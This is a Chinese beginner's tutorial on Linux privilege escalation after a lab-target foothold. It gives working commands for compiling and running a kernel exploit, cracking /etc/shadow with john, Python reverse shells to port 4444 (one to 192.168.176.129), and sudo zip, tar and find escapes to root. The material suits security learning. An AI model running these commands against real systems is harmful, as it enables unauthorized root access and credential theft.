基于Linux下的root提权骚操作

0x00_前言
小小博客,大大梦想。
博主还是小白,总结几个有关于在入侵靶机后进行的后渗透,如何在Linux下的关于普通用户提权到root下的操作,如有错误或其他请多多包含,希望提出多交流。
0x01_提权前的环境

  1. 普通用户,如www-data、宾客等
  2. 具有一些基础Linux工具:如python、nc等
  3. 具有上传和下载功能:如对敏感文件passwd、shadow的下载
  4. 当然,如果没有你可以尝试下载安装

0x02_操作简介
提权的四个骚操作:

  1. 内核溢出
  2. 明文密文解密
  3. 定时任务进程
  4. 密码复用

0x03_详细操作
1.内核溢出
①在内核漏洞提权的过程中,需要明确目标的系统的发行版本以及内核版本,对应的命令如下:
查看发行版本

cat /etc/issue			#目标靶场的发行版本文件
cat /etc/*_release		#发行版本号

查看内核版本
基于Linux下的root提权骚操作_第1张图片

uname -a

在这里插入图片描述
②寻找内核溢出代码

searchsploit Ubuntu 14.04.5		#可接发行版本和内核版本

基于Linux下的root提权骚操作_第2张图片
③上传内核溢出代码,进行编译执行
找到42276.c将其复制成exp.c并移到主目录
在这里插入图片描述
基于Linux下的root提权骚操作_第3张图片
接着上传

upload exp.c

在这里插入图片描述
基于Linux下的root提权骚操作_第4张图片

gcc exp.c -o exploit	#编译成可执行程序

基于Linux下的root提权骚操作_第5张图片

chmod +x exploit
./exploit

基于Linux下的root提权骚操作_第6张图片

2. 明文密文解密
①在Linux中,密码和用户存在/etc/passwd中,而密码hash的值放在/etc/shadow中。passwd是全用户可读,shadow是仅root用户可读。如果在metasploit中可以使用以下命令进行下载

metasploit>download /etc/passwd | /etc/shadow

如果没有这个,需要查看是否有权限查看

cat /etc/passwd

基于Linux下的root提权骚操作_第7张图片

cat /etc/shadow

在这里插入图片描述
没有权限则无法进行
②下载后,可以使用john进行破解。需要将passwd和shadow转换成john可识别的密码文件

unshadow passwd shadow > cracked

在这里插入图片描述
再使用john进行破解密码

john cracked

基于Linux下的root提权骚操作_第8张图片
3. 定时任务进程

系统内可能存在一些定时执行的任务,一般由crontab管理,具有所属用户权限。普通用户可以列出/etc/内系统的定时任务可以被列出,但不可列出root的。如果有存在当前用户或所有用户可执行修改的定时进程,则可以替换该文件,变成反弹shell提权的代码。如脚本为py的,其它的类似如下操作
反弹shell脚本

#!/usr/bin/python
import os,subprocess,socket
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)		#以太网和TCP套接字
s.connect(("127.0.0.1",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])		#进程调用/bin/sh

查看是否有替他用户的计划任务

cat /etc/crontab

基于Linux下的root提权骚操作_第9张图片
发现并没有可写的文件,则没办法使用此方法
然后再进行nc监听获得权限

nc -nlvp 4444

4. 密码复用
①很有可能数据库、Web后台的密码就是root密码,而普通用户使用sudo -l到root,是需要一个tty的环境,可以使用以下命令

python -c "import pty;pty.spawn('/bin/bash')"

在这里插入图片描述
也可以使用

/bin/sh -i
/bin/bash -i

在这里插入图片描述
②寻找wordpress中的包含config字眼的文件,具有一些重要配置的文件,往往都有密码和用户名

cd /home
ls 				#查看用户

基于Linux下的root提权骚操作_第10张图片
查看用户的配置信息

ls -alh

基于Linux下的root提权骚操作_第11张图片

③注意是否开启ssh服务等远程连接服务,再使用找到的用户名和密码进行尝试。接着查看该用户可以使用root的那些权限,如find、zip、tar等,可以利用这些进行提权

sudo -l		#查看可使用的root权限获得root权限

基于Linux下的root提权骚操作_第12张图片
注:要设置用户特定的使用权限,可以如下设置
在这里插入图片描述
如没有设置,则可以直接su -l回车,输入密码,获得root权限,如果有进行下面的find、zip、tar等,可以利用这些进行提权
基于Linux下的root提权骚操作_第13张图片
1)zip进行提权
zip是个使用广泛的压缩程序,文件经它压缩后会另外产生具有".zip"扩展名的压缩文件。对黑客来说,更令黑客吸引的是它可以用来执行系统命令,把exploit压缩成exploit.zip,再解压并执行sh -c /bin/bash,这样就可以提升成root权限。

touch exploit		#创建文件
sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"

在这里插入图片描述
2)tar进行提权
tar是用来建立,还原备份文件的工具程序,它可以加入,解开备份文件内的文件。–checkpoint 读取备份文件时列出目录名称,必为整数,后执行/bin/bash,获得root权限

touch exploit
sudo -u root tar cf /dev/null exploit --checkpoint=1 --checkpoint-action="/bin/bash"

3)find进行提权
Linux find命令用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则find命令将在当前目录下查找子目录与文件。并且将查找到的子目录和文件全部进行显示。它同样可以用来执行命令,我们查看具有root用户权限的SUID文件,并执行相关命令。

find / -perm -u=s -type f 2>/dev/null
/usr/bin/find examples.desktop -exec whoami \;	#执行相应的root命令
find / -name wget		#上传
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders

基于Linux下的root提权骚操作_第14张图片

ls -lh /usr/bin/find		#查看是否具有root权限

在这里插入图片描述
如果要嫌麻烦,可以使用前面的反弹shell脚本来直接获得。

/usr/bin/find readme.txt -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.176.129",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'  #反弹一个sh类型的shell

基于Linux下的root提权骚操作_第15张图片
注:由于该用户没有可执行的/usr/bin/find所以提权不成功
小白的第一次尝试,多多包含

你可能感兴趣的:(安全,kali,Linux)